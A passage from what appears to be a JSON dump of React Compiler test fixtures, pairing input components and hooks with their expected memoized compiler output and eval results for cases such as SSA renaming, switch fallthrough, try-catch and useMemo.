    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nimport {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  if (props.cond) {\n    x = {};\n    x = [];\n    x.push(props.foo);\n  } else {\n    x = [];\n    x = [];\n    x.push(props.bar);\n  }\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{bar: 'bar', foo: 'foo', cond: true}],\n  sequentialRenders: [\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nimport { mutate } from \"shared-runtime\";\n\nfunction useFoo(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {\n    x = [];\n    x.push(props.bar);\n    if (props.cond) {\n      x = [];\n      x.push(props.foo);\n    } else {\n      x = [];\n      x.push(props.bar);\n    }\n\n    mutate(x);\n    $[0] = props.bar;\n    $[1] = props.cond;\n    $[2] = props.foo;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ bar: \"bar\", foo: \"foo\", cond: true }],\n  sequentialRenders: [\n    { bar: \"bar\", foo: \"foo\", cond: true },\n    { bar: \"bar\", foo: \"foo\", cond: true },\n    { bar: \"bar\", foo: \"foo\", cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"foo\",\"joe\"]\n[\"foo\",\"joe\"]\n[\"bar\",\"joe\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-with-mutation.js",
    "content": "// @enablePropagateDepsInHIR\nimport {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  if (props.cond) {\n    x = {};\n    x = [];\n    x.push(props.foo);\n  } else {\n    x = [];\n    x = [];\n    x.push(props.bar);\n  }\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{bar: 'bar', foo: 'foo', cond: true}],\n  sequentialRenders: [\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-via-destructuring-with-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nimport {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let {x} = {x: []};\n  x.push(props.bar);\n  if (props.cond) {\n    ({x} = {x: {}});\n    ({x} = {x: []});\n    x.push(props.foo);\n  }\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{bar: 'bar', foo: 'foo', cond: true}],\n  sequentialRenders: [\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nimport { mutate } from \"shared-runtime\";\n\nfunction useFoo(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {\n    ({ x } = { x: [] });\n    x.push(props.bar);\n    if (props.cond) {\n      ({ x } = { x: [] });\n      x.push(props.foo);\n    }\n\n    mutate(x);\n    $[0] = props.bar;\n    $[1] = props.cond;\n    $[2] = props.foo;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ bar: \"bar\", foo: \"foo\", cond: true }],\n  sequentialRenders: [\n    { bar: \"bar\", foo: \"foo\", cond: true },\n    { bar: \"bar\", foo: \"foo\", cond: true },\n    { bar: \"bar\", foo: \"foo\", cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"foo\",\"joe\"]\n[\"foo\",\"joe\"]\n[\"bar\",\"joe\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-via-destructuring-with-mutation.js",
    "content": "// @enablePropagateDepsInHIR\nimport {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let {x} = {x: []};\n  x.push(props.bar);\n  if (props.cond) {\n    ({x} = {x: {}});\n    ({x} = {x: []});\n    x.push(props.foo);\n  }\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{bar: 'bar', foo: 'foo', cond: true}],\n  sequentialRenders: [\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-with-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nimport {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  if (props.cond) {\n    x = {};\n    x = [];\n    x.push(props.foo);\n  }\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{bar: 'bar', foo: 'foo', cond: true}],\n  sequentialRenders: [\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nimport { mutate } from \"shared-runtime\";\n\nfunction useFoo(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {\n    x = [];\n    x.push(props.bar);\n    if (props.cond) {\n      x = [];\n      x.push(props.foo);\n    }\n\n    mutate(x);\n    $[0] = props.bar;\n    $[1] = props.cond;\n    $[2] = props.foo;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ bar: \"bar\", foo: \"foo\", cond: true }],\n  sequentialRenders: [\n    { bar: \"bar\", foo: \"foo\", cond: true },\n    { bar: \"bar\", foo: \"foo\", cond: true },\n    { bar: \"bar\", foo: \"foo\", cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"foo\",\"joe\"]\n[\"foo\",\"joe\"]\n[\"bar\",\"joe\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-with-mutation.js",
    "content": "// @enablePropagateDepsInHIR\nimport {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  if (props.cond) {\n    x = {};\n    x = [];\n    x.push(props.foo);\n  }\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{bar: 'bar', foo: 'foo', cond: true}],\n  sequentialRenders: [\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/switch-non-final-default.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nfunction Component(props) {\n  let x = [];\n  let y;\n  switch (props.p0) {\n    case 1: {\n      break;\n    }\n    case true: {\n      x.push(props.p2);\n      y = [];\n    }\n    default: {\n      break;\n    }\n    case false: {\n      y = x;\n      break;\n    }\n  }\n  const child = <Component data={x} />;\n  y.push(props.p4);\n  return <Component data={y}>{child}</Component>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nfunction Component(props) {\n  const $ = _c(8);\n  let t0;\n  let y;\n  if ($[0] !== props.p0 || $[1] !== props.p2) {\n    const x = [];\n    bb0: switch (props.p0) {\n      case 1: {\n        break bb0;\n      }\n      case true: {\n        x.push(props.p2);\n        let t1;\n        if ($[4] === Symbol.for(\"react.memo_cache_sentinel\")) {\n          t1 = [];\n          $[4] = t1;\n        } else {\n          t1 = $[4];\n        }\n        y = t1;\n      }\n      default: {\n        break bb0;\n      }\n      case false: {\n        y = x;\n      }\n    }\n    t0 = <Component data={x} />;\n    $[0] = props.p0;\n    $[1] = props.p2;\n    $[2] = t0;\n    $[3] = y;\n  } else {\n    t0 = $[2];\n    y = $[3];\n  }\n  const child = t0;\n  y.push(props.p4);\n  let t1;\n  if ($[5] !== child || $[6] !== y) {\n    t1 = <Component data={y}>{child}</Component>;\n    $[5] = child;\n    $[6] = y;\n    $[7] = t1;\n  } else {\n    t1 = $[7];\n  }\n  return t1;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/switch-non-final-default.js",
    "content": "// @enablePropagateDepsInHIR\nfunction Component(props) {\n  let x = [];\n  let y;\n  switch (props.p0) {\n    case 1: {\n      break;\n    }\n    case true: {\n      x.push(props.p2);\n      y = [];\n    }\n    default: {\n      break;\n    }\n    case false: {\n      y = x;\n      break;\n    }\n  }\n  const child = <Component data={x} />;\n  y.push(props.p4);\n  return <Component data={y}>{child}</Component>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/switch.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nfunction Component(props) {\n  let x = [];\n  let y;\n  switch (props.p0) {\n    case true: {\n      x.push(props.p2);\n      x.push(props.p3);\n      y = [];\n    }\n    case false: {\n      y = x;\n      break;\n    }\n  }\n  const child = <Component data={x} />;\n  y.push(props.p4);\n  return <Component data={y}>{child}</Component>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nfunction Component(props) {\n  const $ = _c(8);\n  let t0;\n  let y;\n  if ($[0] !== props.p0 || $[1] !== props.p2 || $[2] !== props.p3) {\n    const x = [];\n    switch (props.p0) {\n      case true: {\n        x.push(props.p2);\n        x.push(props.p3);\n      }\n      case false: {\n        y = x;\n      }\n    }\n    t0 = <Component data={x} />;\n    $[0] = props.p0;\n    $[1] = props.p2;\n    $[2] = props.p3;\n    $[3] = t0;\n    $[4] = y;\n  } else {\n    t0 = $[3];\n    y = $[4];\n  }\n  const child = t0;\n  y.push(props.p4);\n  let t1;\n  if ($[5] !== child || $[6] !== y) {\n    t1 = <Component data={y}>{child}</Component>;\n    $[5] = child;\n    $[6] = y;\n    $[7] = t1;\n  } else {\n    t1 = $[7];\n  }\n  return t1;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/switch.js",
    "content": "// @enablePropagateDepsInHIR\nfunction Component(props) {\n  let x = [];\n  let y;\n  switch (props.p0) {\n    case true: {\n      x.push(props.p2);\n      x.push(props.p3);\n      y = [];\n    }\n    case false: {\n      y = x;\n      break;\n    }\n  }\n  const child = <Component data={x} />;\n  y.push(props.p4);\n  return <Component data={y}>{child}</Component>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/todo-optional-call-chain-in-optional.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nfunction useFoo(props: {value: {x: string; y: string} | null}) {\n  const value = props.value;\n  return createArray(value?.x, value?.y)?.join(', ');\n}\n\nfunction createArray<T>(...args: Array<T>): Array<T> {\n  return args;\n}\n\nexport const FIXTURE_ENTRYPONT = {\n  fn: useFoo,\n  props: [{value: null}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nfunction useFoo(props) {\n  const $ = _c(3);\n  const value = props.value;\n  let t0;\n  if ($[0] !== value?.x || $[1] !== value?.y) {\n    t0 = createArray(value?.x, value?.y)?.join(\", \");\n    $[0] = value?.x;\n    $[1] = value?.y;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n}\n\nfunction createArray(...t0) {\n  const args = t0;\n  return args;\n}\n\nexport const FIXTURE_ENTRYPONT = {\n  fn: useFoo,\n  props: [{ value: null }],\n};\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/todo-optional-call-chain-in-optional.ts",
    "content": "// @enablePropagateDepsInHIR\nfunction useFoo(props: {value: {x: string; y: string} | null}) {\n  const value = props.value;\n  return createArray(value?.x, value?.y)?.join(', ');\n}\n\nfunction createArray<T>(...args: Array<T>): Array<T> {\n  return args;\n}\n\nexport const FIXTURE_ENTRYPONT = {\n  fn: useFoo,\n  props: [{value: null}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-maybe-null-dependency.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nimport {identity} from 'shared-runtime';\n\n/**\n * Not safe to hoist read of maybeNullObject.value.inner outside of the\n * try-catch block, as that might throw\n */\nfunction useFoo(maybeNullObject: {value: {inner: number}} | null) {\n  const y = [];\n  try {\n    y.push(identity(maybeNullObject.value.inner));\n  } catch {\n    y.push('null');\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [null],\n  sequentialRenders: [null, {value: 2}, {value: 3}, null],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nimport { identity } from \"shared-runtime\";\n\n/**\n * Not safe to hoist read of maybeNullObject.value.inner outside of the\n * try-catch block, as that might throw\n */\nfunction useFoo(maybeNullObject) {\n  const $ = _c(4);\n  let y;\n  if ($[0] !== maybeNullObject) {\n    y = [];\n    try {\n      let t0;\n      if ($[2] !== maybeNullObject.value.inner) {\n        t0 = identity(maybeNullObject.value.inner);\n        $[2] = maybeNullObject.value.inner;\n        $[3] = t0;\n      } else {\n        t0 = $[3];\n      }\n      y.push(t0);\n    } catch {\n      y.push(\"null\");\n    }\n    $[0] = maybeNullObject;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [null],\n  sequentialRenders: [null, { value: 2 }, { value: 3 }, null],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"null\"]\n[null]\n[null]\n[\"null\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-maybe-null-dependency.ts",
    "content": "// @enablePropagateDepsInHIR\nimport {identity} from 'shared-runtime';\n\n/**\n * Not safe to hoist read of maybeNullObject.value.inner outside of the\n * try-catch block, as that might throw\n */\nfunction useFoo(maybeNullObject: {value: {inner: number}} | null) {\n  const y = [];\n  try {\n    y.push(identity(maybeNullObject.value.inner));\n  } catch {\n    y.push('null');\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [null],\n  sequentialRenders: [null, {value: 2}, {value: 3}, null],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-mutate-outer-value.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nconst {shallowCopy, throwErrorWithMessage} = require('shared-runtime');\n\nfunction Component(props) {\n  const x = [];\n  try {\n    x.push(throwErrorWithMessage('oops'));\n  } catch {\n    x.push(shallowCopy({a: props.a}));\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nconst { shallowCopy, throwErrorWithMessage } = require(\"shared-runtime\");\n\nfunction Component(props) {\n  const $ = _c(5);\n  let x;\n  if ($[0] !== props) {\n    x = [];\n    try {\n      let t0;\n      if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = throwErrorWithMessage(\"oops\");\n        $[2] = t0;\n      } else {\n        t0 = $[2];\n      }\n      x.push(t0);\n    } catch {\n      let t0;\n      if ($[3] !== props.a) {\n        t0 = shallowCopy({ a: props.a });\n        $[3] = props.a;\n        $[4] = t0;\n      } else {\n        t0 = $[4];\n      }\n      x.push(t0);\n    }\n    $[0] = props;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 1 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"a\":1}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-mutate-outer-value.js",
    "content": "// @enablePropagateDepsInHIR\nconst {shallowCopy, throwErrorWithMessage} = require('shared-runtime');\n\nfunction Component(props) {\n  const x = [];\n  try {\n    x.push(throwErrorWithMessage('oops'));\n  } catch {\n    x.push(shallowCopy({a: props.a}));\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-try-value-modified-in-catch-escaping.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nconst {throwInput} = require('shared-runtime');\n\nfunction Component(props) {\n  let x;\n  try {\n    const y = [];\n    y.push(props.y);\n    throwInput(y);\n  } catch (e) {\n    e.push(props.e);\n    x = e;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{y: 'foo', e: 'bar'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nconst { throwInput } = require(\"shared-runtime\");\n\nfunction Component(props) {\n  const $ = _c(3);\n  let x;\n  if ($[0] !== props.e || $[1] !== props.y) {\n    try {\n      const y = [];\n      y.push(props.y);\n      throwInput(y);\n    } catch (t0) {\n      const e = t0;\n      e.push(props.e);\n      x = e;\n    }\n    $[0] = props.e;\n    $[1] = props.y;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ y: \"foo\", e: \"bar\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"foo\",\"bar\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-try-value-modified-in-catch-escaping.js",
    "content": "// @enablePropagateDepsInHIR\nconst {throwInput} = require('shared-runtime');\n\nfunction Component(props) {\n  let x;\n  try {\n    const y = [];\n    y.push(props.y);\n    throwInput(y);\n  } catch (e) {\n    e.push(props.e);\n    x = e;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{y: 'foo', e: 'bar'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-try-value-modified-in-catch.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nconst {throwInput} = require('shared-runtime');\n\nfunction Component(props) {\n  try {\n    const y = [];\n    y.push(props.y);\n    throwInput(y);\n  } catch (e) {\n    e.push(props.e);\n    return e;\n  }\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{y: 'foo', e: 'bar'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nconst { throwInput } = require(\"shared-runtime\");\n\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] !== props.e || $[1] !== props.y) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      try {\n        const y = [];\n        y.push(props.y);\n        throwInput(y);\n      } catch (t1) {\n        const e = t1;\n        e.push(props.e);\n        t0 = e;\n        break bb0;\n      }\n    }\n    $[0] = props.e;\n    $[1] = props.y;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ y: \"foo\", e: \"bar\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"foo\",\"bar\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-try-value-modified-in-catch.js",
    "content": "// @enablePropagateDepsInHIR\nconst {throwInput} = require('shared-runtime');\n\nfunction Component(props) {\n  try {\n    const y = [];\n    y.push(props.y);\n    throwInput(y);\n  } catch (e) {\n    e.push(props.e);\n    return e;\n  }\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{y: 'foo', e: 'bar'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/useMemo-multiple-if-else.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\nfunction Component(props) {\n  const x = useMemo(() => {\n    let y = [];\n    if (props.cond) {\n      y.push(props.a);\n    }\n    if (props.cond2) {\n      return y;\n    }\n    y.push(props.b);\n    return y;\n  });\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1, b: 2, cond2: false}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR @validateExhaustiveMemoizationDependencies:false\nimport { useMemo } from \"react\";\n\nfunction Component(props) {\n  const $ = _c(5);\n  let t0;\n  if (\n    $[0] !== props.a ||\n    $[1] !== props.b ||\n    $[2] !== props.cond ||\n    $[3] !== props.cond2\n  ) {\n    bb0: {\n      const y = [];\n      if (props.cond) {\n        y.push(props.a);\n      }\n\n      if (props.cond2) {\n        t0 = y;\n        break bb0;\n      }\n\n      y.push(props.b);\n      t0 = y;\n    }\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.cond;\n    $[3] = props.cond2;\n    $[4] = t0;\n  } else {\n    t0 = $[4];\n  }\n  const x = t0;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 1, b: 2, cond2: false }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/useMemo-multiple-if-else.js",
    "content": "// @enablePropagateDepsInHIR @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\nfunction Component(props) {\n  const x = useMemo(() => {\n    let y = [];\n    if (props.cond) {\n      y.push(props.a);\n    }\n    if (props.cond2) {\n      return y;\n    }\n    y.push(props.b);\n    return y;\n  });\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1, b: 2, cond2: false}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/property-assignment.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = {};\n  const y = [];\n  x.y = y;\n  const child = <Component data={y} />;\n  x.y.push(props.p0);\n  return <Component data={x}>{child}</Component>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.p0) {\n    const x = {};\n    const y = [];\n    x.y = y;\n    const child = <Component data={y} />;\n    x.y.push(props.p0);\n    t0 = <Component data={x}>{child}</Component>;\n    $[0] = props.p0;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/property-assignment.js",
    "content": "function Component(props) {\n  const x = {};\n  const y = [];\n  x.y = y;\n  const child = <Component data={y} />;\n  x.y.push(props.p0);\n  return <Component data={x}>{child}</Component>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/property-call-evaluation-order.expect.md",
    "content": "\n## Input\n\n```javascript\n// Should print A, arg, original\n\nfunction Component() {\n  const changeF = o => {\n    o.f = () => console.log('new');\n  };\n  const x = {\n    f: () => console.log('original'),\n  };\n\n  (console.log('A'), x).f((changeF(x), console.log('arg'), 1));\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // Should print A, arg, original\n\nfunction Component() {\n  const $ = _c(1);\n  const changeF = _temp2;\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = { f: _temp3 };\n\n    (console.log(\"A\"), x).f((changeF(x), console.log(\"arg\"), 1));\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\nfunction _temp3() {\n  return console.log(\"original\");\n}\nfunction _temp2(o) {\n  o.f = _temp;\n}\nfunction _temp() {\n  return console.log(\"new\");\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"f\":\"[[ function params=0 ]]\"}\nlogs: ['A','arg','original']"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/property-call-evaluation-order.js",
    "content": "// Should print A, arg, original\n\nfunction Component() {\n  const changeF = o => {\n    o.f = () => console.log('new');\n  };\n  const x = {\n    f: () => console.log('original'),\n  };\n\n  (console.log('A'), x).f((changeF(x), console.log('arg'), 1));\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/property-call-spread.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = foo.bar(...props.a, null, ...props.b);\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] !== props.a || $[1] !== props.b) {\n    t0 = foo.bar(...props.a, null, ...props.b);\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  const x = t0;\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/property-call-spread.js",
    "content": "function Component(props) {\n  const x = foo.bar(...props.a, null, ...props.b);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/props-method-dependency.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\nimport {useMemo} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = useMemo(() => props.x(), [props.x]);\n  return <ValidateMemoization inputs={[props.x]} output={x} />;\n}\n\nconst f = () => ['React'];\nconst g = () => ['Compiler'];\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: () => ['React']}],\n  sequentialRenders: [{x: f}, {x: g}, {x: g}, {x: f}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\"\nimport { useMemo } from \"react\";\nimport { ValidateMemoization } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(7);\n  let t0;\n  if ($[0] !== props.x) {\n    t0 = props.x();\n    $[0] = props.x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  let t1;\n  if ($[2] !== props.x) {\n    t1 = [props.x];\n    $[2] = props.x;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  